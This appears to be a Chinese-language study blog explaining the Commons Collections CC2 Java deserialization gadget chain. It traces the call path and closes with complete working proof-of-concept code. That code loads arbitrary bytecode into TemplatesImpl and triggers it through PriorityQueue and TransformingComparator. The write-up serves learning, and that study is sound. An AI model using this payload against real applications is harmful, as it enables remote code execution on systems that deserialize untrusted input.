cc2其实都是建立在我们写的基础之上,只不过路走的不一样罢了,我们可以看一下CC2是怎么走的,我用颜色标出了:
其实就是之前都学过的几个类。
前面代码都和CC4一样
public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
}
}
然后从TrAXFilter这里分歧出来,CC2直接使用InvokerTransfor调用TemplatesImpl的newTransformer方法,再利用TransformingComparator调用Transformer来完成整个链子。
所以我们先new一个InvokerTransformer执行newTransformer方法:
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); //因为这里templates.newTransformer()是没有参数的。所以后面两个也不用传入参数
现在的问题是我们如何传入templates拼凑整条链子
再往下就和CC4大致一样了,不过把ChainedTransformer换成了InvokerTransformer。
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<Object, Object> objectObjectTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(objectObjectTransformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(objectObjectTransformingComparator, newTransformer);
}
我们要思考一下如何在
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
之后如何把templates传入
让我们从InvokerTransformer来
然后我们往上一步,到TransformingComparator.compare
再上一步PriorityQueue.siftDownUsingComparator
再一路往上跟进发现顺序是:
siftDownUsingComparator(int k,E x) <--- siftUp(int k, E x) <--- offer(E e)[这里这个e就是siftUp中的x] <--- add(E e)
所以最终我们需要在priorityQueue.add()中传入templates,在CC4中我们知道要传入至少两个对象。那我们这里是传入第一个对象还是第二个对象。
其实两个可以都传templates。但我们最好搞清楚所以然。
经过我们调试发现是传入第一个对象就足够了:
在这之后便会像我们上面分析的一样,最终弹出计算器。
既然可以两个都传,那我们能否第一个对象传入任意值,第二个对象再传入templates呢?答案是否定的
因为反序列化执行到这里一直走到InvokerTransformer中执行命令的时候:
执行完命令抛出异常,程序结束:
因此只能在第一个对象传入templates才能执行命令,最终贴上完整代码:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://netcat//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// templates.newTransformer();
InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator<Object, Object> objectObjectTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue<Object> priorityQueue = new PriorityQueue<>(objectObjectTransformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(objectObjectTransformingComparator, newTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}
CC2到此结束,边看世界杯决赛边写的,太燃了!/(ㄒoㄒ)/~